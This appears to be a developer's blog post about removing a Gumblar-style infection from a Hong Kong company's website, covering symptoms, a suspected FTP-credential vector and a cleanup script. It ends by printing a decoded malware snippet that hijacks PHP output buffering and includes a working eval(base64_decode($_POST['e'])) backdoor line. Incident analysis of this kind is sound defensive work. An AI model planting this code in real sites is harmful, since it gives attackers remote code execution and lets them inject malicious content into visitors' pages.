Just about finished a gumbar cleanup, for a small Hong Kong company. This is not the first crack I've seen in the last few months, I fixed another server last month that got ssh brute force attacked. It looks like cracking is on the up, so if you need help fixing a site, by someone who knows what they are doing, and at the same time you will help out a number of open source projects - give me a bell (alan@akbkhome.com)

The gumbar (or derivative) attack I was looking at was quite interesting, the first indication the owner got was that browsers kept showing the "Reported Attack Site!" or "Warning: Visiting this site may harm your computer" message. So I get the call to find out what's going on.

When you ignore the message and go through to the site, look at the HTML the first thing you see is that there is a <script> tag added just before the body pointing to a gifimg.php file. After that you have a long hunt around google to find out what's going on.

At the time of writing, the exact attack vector does not look like it's been confirmed, but is either a brute force ftp attack (I think is quite unlikely considering the username/pass combo on this sample site). Or more likely a PDF desktop attack to a machine that has access to the site.

My first assumption was that it was a Wordpress exploit, but the more I examined the situation, it seemed less likely. However I highly suspect that the PDF attack vector having got the ftp credentials goes looking for standard locations of wordpress installations (eg. '/wordpress) - so hint one is not to install your software in such obvious places.

Cleaning it out

The first step in sorting out the mess was to mirror the original site, with virus and all onto a offline location. (both as a precaution that if we broke things we had a backup, and so we can use this as a source to replace the hacked files with new ones).

After that it was a matter of googling for details of the attack and writing a gumbar cleaner script. It basically checks for infected file types, then preg_replaces out the hacked additions. These include

• php files with an eval/base64_encode line
• javascript files with document.write lines
• html, shtml and htm files with <script tags.

I used ftpput, and check return values, to ensure that each file was successfully replaced before overwriting the local copy and making a nice copy for my reference into the virus folder.

Inside out of the attack.

The infection is quite interesting, and in this case was quite painful, due to the nature of how Wordpress publishes files.

Initially I suspect the core code in the PDF actually has some ftp code which will try and modify standard set of PHP files to add a small base64_encode script.. (phplist, and wordpress appear to be core targets, and I'm sure there are more.)

This is a snippet of some of the code that get's added (it's all eval, base64_encoded - read up on my blog post about idiot ways to protect your PHP code using this idea.)

This is a snippet of the decoded script

if(!function_exists('kqyf')){
   function kqyf($s){
 
     ... infect the page stuff goes here...  
	}
	function kqyf2($a,$b,$c,$d){
		global$kqyf1;
		$s=array();
		if(function_exists($kqyf1))
			call_user_func($kqyf1,$a,$b,$c,$d);
		foreach(@ob_get_status(1)as$v)
			if(($a=$v['name'])=='kqyf')
				return;
			elseif($a=='ob_gzhandler')
				break;
			else
				$s[]=array($a=='default output handler'?false:$a);
		for($i=count($s)-1;$i>=0;$i--){
			$s[$i][1]=ob_get_contents();
			ob_end_clean();
		}
		ob_start('kqyf');
		for($i=0;$i<count($s);$i++){
			ob_start($s[$i][0]);
			echo $s[$i][1];
		}
	}
}

$kqyfl=(($a=@set_error_handler('kqyf2'))!='kqyf2')?$a:0;
eval(base64_decode($_POST['e']))